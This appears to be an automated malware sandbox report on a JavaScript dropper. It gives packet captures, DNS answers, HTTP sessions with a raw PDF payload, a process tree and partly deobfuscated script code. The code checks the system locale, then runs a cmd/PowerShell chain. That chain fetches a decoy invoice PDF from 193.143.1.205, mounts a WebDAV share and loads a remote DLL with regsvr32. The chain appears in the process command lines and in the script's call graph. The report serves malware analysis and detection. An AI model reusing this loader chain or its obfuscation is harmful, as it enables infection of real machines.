Jan 10, 2025 22:51:29.447520018 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.447551966 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.447585106 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.447603941 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.447691917 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.447695017 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.447704077 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.447715998 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.447753906 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.447798014 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.447798014 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.453241110 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:30.517719984 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:30.999078989 CET	49710	8888	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:31.003977060 CET	8888	49710	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:31.004080057 CET	49710	8888	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:31.004291058 CET	49710	8888	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:31.009025097 CET	8888	49710	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:31.792529106 CET	8888	49710	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:31.834784031 CET	49710	8888	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:32.111568928 CET	49710	8888	192.168.2.11	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:51:38.596175909 CET	63377	53	192.168.2.11	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:51:38.596175909 CET	192.168.2.11	1.1.1.1	0x2715	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:51:38.603728056 CET	1.1.1.1	192.168.2.11	0x2715	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:51:39.365775108 CET	1.1.1.1	192.168.2.11	0xb7b0	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:51:39.365775108 CET	1.1.1.1	192.168.2.11	0xb7b0	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:52:42.533379078 CET	1.1.1.1	192.168.2.11	0x752e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:52:42.533379078 CET	1.1.1.1	192.168.2.11	0x752e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:52:55.866204023 CET	1.1.1.1	192.168.2.11	0x3e86	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:52:55.866204023 CET	1.1.1.1	192.168.2.11	0x3e86	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:52:55.866204023 CET	1.1.1.1	192.168.2.11	0x3e86	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:52:55.866204023 CET	1.1.1.1	192.168.2.11	0x3e86	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.26	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:52:55.866204023 CET	1.1.1.1	192.168.2.11	0x3e86	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.25	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:52:55.866204023 CET	1.1.1.1	192.168.2.11	0x3e86	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.38	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:52:55.866204023 CET	1.1.1.1	192.168.2.11	0x3e86	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.40	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:52:55.866204023 CET	1.1.1.1	192.168.2.11	0x3e86	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:52:55.866204023 CET	1.1.1.1	192.168.2.11	0x3e86	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.42	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49709	193.143.1.205	80	7764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:51:27.795821905 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:51:28.588974953 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:51:28 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:51:28.588996887 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:51:28.589010954 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 22:51:28.589024067 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 22:51:28.589143038 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 22:51:28.589164019 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 22:51:28.589176893 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 22:51:28.589261055 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 22:51:28.589273930 CET	896	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 22:51:28.589281082 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G
Jan 10, 2025 22:51:28.594023943 CET	888	IN	Data Raw: 66 9c b0 5c 8b 7c 0f f5 43 85 e1 de e6 5c c9 d2 e4 a7 05 fc 4c 5f f9 44 4e dd ce 64 95 ab fc 8e 85 cf 82 94 41 bf 6b e9 d5 d0 7a 3b 74 7a f6 e4 a9 2b bc e1 73 d9 7d f4 50 5a 5d 42 6b 5e cd ca 33 7c 17 ba b1 f8 2d b5 61 5c f6 23 f0 69 1e 33 bd 7c Data Ascii: f\\|C\L_DNdAkz;tz+s}PZ]Bk^3\|-a\#i3\|2GsrGKhd@B oZ-n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45WqR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49710	193.143.1.205	8888	8060	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:51:31.004291058 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:51:31.792529106 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:51:31 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:51:23
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241198432146011036.js"
Imagebase:	0x7ff651040000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:51:23
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll
Imagebase:	0x7ff726a90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:51:23
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:51:23
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6eb350000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:51:30
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff688b00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:51:30
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff726a90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:51:30
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff721960000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:51:30
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:51:31
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:51:31
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1660,i,3031728516818878968,16726174633043542866,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function mmmvd() {	mmmvd() ➔ undefined
1	gxouazrlt = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var dunfzad = this[ruiddtrys + nbhnzzb + ayjeapzjd + fxqsmue + vuytxmhz + gpbsj + jzisqogp + zuegmtj] ( this[avumgvzz + lzgejmijw + unfmwxlr + ayjeapzjd + sflhlzeo + ruiddtrys + zuegmtj][ehhnavg + ayjeapzjd + vuytxmhz + nbhnzzb + zuegmtj + vuytxmhz + lplylzb + mkddq + ypmmgvoqn + vuytxmhz + unfmwxlr + zuegmtj] ( avumgvzz + lzgejmijw + unfmwxlr + ayjeapzjd + sflhlzeo + ruiddtrys + zuegmtj + uwwci + lzgejmijw + igwcsnlz + vuytxmhz + gjfnft + gjfnft ) [dwrvmfehk + vuytxmhz + xcxde + dwrvmfehk + vuytxmhz + nbhnzzb + mztfczxq] ( mehvbqid + qtvbrual + qdxptkbn + osvbzbkrn + ssbfz + ehhnavg + rxumqaag + dwrvmfehk + dwrvmfehk + qdxptkbn + nmujfvte + mzhgpo + ssbfz + rxumqaag + lzgejmijw + qdxptkbn + dwrvmfehk + bomsa + ehhnavg + lenbypf + jzisqogp + zuegmtj + ayjeapzjd + lenbypf + gjfnft + fozyrdsk + cwruockoi + nbhnzzb + jzisqogp + vuytxmhz + gjfnft + bomsa + gpbsj + jzisqogp + zuegmtj + vuytxmhz + ayjeapzjd + jzisqogp + nbhnzzb + zuegmtj + sflhlzeo + lenbypf + jzisqogp + nbhnzzb + gjfnft + bomsa + bukwbppyi + lenbypf + unfmwxlr + nbhnzzb + gjfnft + vuytxmhz ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( volgxvbxa = 0 ; volgxvbxa < gxouazrlt[gjfnft + vuytxmhz + jzisqogp + xcxde + zuegmtj + igwcsnlz] ; ++ volgxvbxa )
4	{
5	if ( dunfzad == gxouazrlt[volgxvbxa] )
6	{
7	dunfzad = true;
8	break ;
9	}
10	}
11	if ( dunfzad !== true )
12	this[avumgvzz + lzgejmijw + unfmwxlr + ayjeapzjd + sflhlzeo + ruiddtrys + zuegmtj][xpohr + blhyrncje + sflhlzeo + zuegmtj] ( );
13	this[avumgvzz + lzgejmijw + unfmwxlr + ayjeapzjd + sflhlzeo + ruiddtrys + zuegmtj][ehhnavg + ayjeapzjd + vuytxmhz + nbhnzzb + zuegmtj + vuytxmhz + lplylzb + mkddq + ypmmgvoqn + vuytxmhz + unfmwxlr + zuegmtj] ( avumgvzz + lzgejmijw + unfmwxlr + ayjeapzjd + sflhlzeo + ruiddtrys + zuegmtj + uwwci + lzgejmijw + igwcsnlz + vuytxmhz + gjfnft + gjfnft ) [ayjeapzjd + blhyrncje + jzisqogp] ( unfmwxlr + amvfbjaas + mztfczxq + fozyrdsk + qcowal + unfmwxlr + fozyrdsk + ruiddtrys + lenbypf + joelkdq + vuytxmhz + ayjeapzjd + fxqsmue + igwcsnlz + vuytxmhz + gjfnft + gjfnft + uwwci + vuytxmhz + fmryual + vuytxmhz + fozyrdsk + hfrzjusp + ehhnavg + lenbypf + amvfbjaas + amvfbjaas + nbhnzzb + jzisqogp + mztfczxq + fozyrdsk + emehmq + gpbsj + jzisqogp + gkooe + lenbypf + bbpalfnlc + vuytxmhz + hfrzjusp + avumgvzz + vuytxmhz + mkddq + dwrvmfehk + vuytxmhz + zpgkvnebg + blhyrncje + vuytxmhz + fxqsmue + zuegmtj + fozyrdsk + hfrzjusp + lplylzb + blhyrncje + zuegmtj + mqpza + sflhlzeo + gjfnft + vuytxmhz + fozyrdsk + otpcztq + zuegmtj + vuytxmhz + amvfbjaas + ruiddtrys + otpcztq + bomsa + sflhlzeo + jzisqogp + gkooe + lenbypf + sflhlzeo + unfmwxlr + vuytxmhz + uwwci + ruiddtrys + mztfczxq + oxlnfh + fozyrdsk + igwcsnlz + zuegmtj + zuegmtj + ruiddtrys + qkrmi + qcowal + qcowal + bnruvek + wirivdq + cneyjify + uwwci + bnruvek + svdagpq + cneyjify + uwwci + bnruvek + uwwci + foymamkr + evykwypc + fuueqpwwj + qcowal + sflhlzeo + jzisqogp + gkooe + lenbypf + sflhlzeo + unfmwxlr + vuytxmhz + uwwci + ruiddtrys + igwcsnlz + ruiddtrys + emehmq + emlzrkap + emlzrkap + fxqsmue + zuegmtj + nbhnzzb + ayjeapzjd + zuegmtj + fozyrdsk + otpcztq + zuegmtj + vuytxmhz + amvfbjaas + ruiddtrys + otpcztq + bomsa + sflhlzeo + jzisqogp + gkooe + lenbypf + sflhlzeo + unfmwxlr + vuytxmhz + uwwci + ruiddtrys + mztfczxq + oxlnfh + emlzrkap + emlzrkap + unfmwxlr + amvfbjaas + mztfczxq + fozyrdsk + qcowal + unfmwxlr + fozyrdsk + jzisqogp + vuytxmhz + zuegmtj + fozyrdsk + blhyrncje + fxqsmue + vuytxmhz + fozyrdsk + bomsa + bomsa + bnruvek + wirivdq + cneyjify + uwwci + bnruvek + svdagpq + cneyjify + uwwci + bnruvek + uwwci + foymamkr + evykwypc + fuueqpwwj + mthubdk + blgsofqun + blgsofqun + blgsofqun + blgsofqun + bomsa + mztfczxq + nbhnzzb + gkooe + joelkdq + joelkdq + joelkdq + ayjeapzjd + lenbypf + lenbypf + zuegmtj + bomsa + emlzrkap + emlzrkap + unfmwxlr + amvfbjaas + mztfczxq + fozyrdsk + qcowal + unfmwxlr + fozyrdsk + ayjeapzjd + vuytxmhz + xcxde + fxqsmue + gkooe + ayjeapzjd + cneyjify + foymamkr + fozyrdsk + qcowal + fxqsmue + fozyrdsk + bomsa + bomsa + bnruvek + wirivdq + cneyjify + uwwci + bnruvek + svdagpq + cneyjify + uwwci + bnruvek + uwwci + foymamkr + evykwypc + fuueqpwwj + mthubdk + blgsofqun + blgsofqun + blgsofqun + blgsofqun + bomsa + mztfczxq + nbhnzzb + gkooe + joelkdq + joelkdq + joelkdq + ayjeapzjd + lenbypf + lenbypf + zuegmtj + bomsa + bnruvek + ilrylv + cneyjify + ilrylv + ilrylv + bnruvek + ilrylv + fuueqpwwj + fuueqpwwj + cneyjify + foymamkr + evykwypc + ilrylv + fuueqpwwj + ikphjp + uwwci + mztfczxq + gjfnft + gjfnft, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll",0,false) ➔ 0
14	}
15	nbhnzzb = "b";
16	nbhnzzb = "B";
17	nbhnzzb = "v";
18	nbhnzzb = "h";
19	nbhnzzb = "m";
20	nbhnzzb = "h";
21	nbhnzzb = "L";
22	nbhnzzb = "U";
23	nbhnzzb = "D";
24	nbhnzzb = "r";
25	nbhnzzb = "t";
26	nbhnzzb = "a";
27	ayjeapzjd = "N";
28	ayjeapzjd = "L";
29	ayjeapzjd = "k";
30	ayjeapzjd = "K";
31	ayjeapzjd = "X";
32	ayjeapzjd = "o";
33	ayjeapzjd = "d";
34	ayjeapzjd = "I";
35	ayjeapzjd = "E";
36	ayjeapzjd = "n";
37	ayjeapzjd = "q";
38	ayjeapzjd = "U";
39	ayjeapzjd = "T";
40	ayjeapzjd = "z";
41	ayjeapzjd = "c";
42	ayjeapzjd = "p";
43	ayjeapzjd = "L";
44	ayjeapzjd = "E";
45	ayjeapzjd = "g";
46	ayjeapzjd = "P";
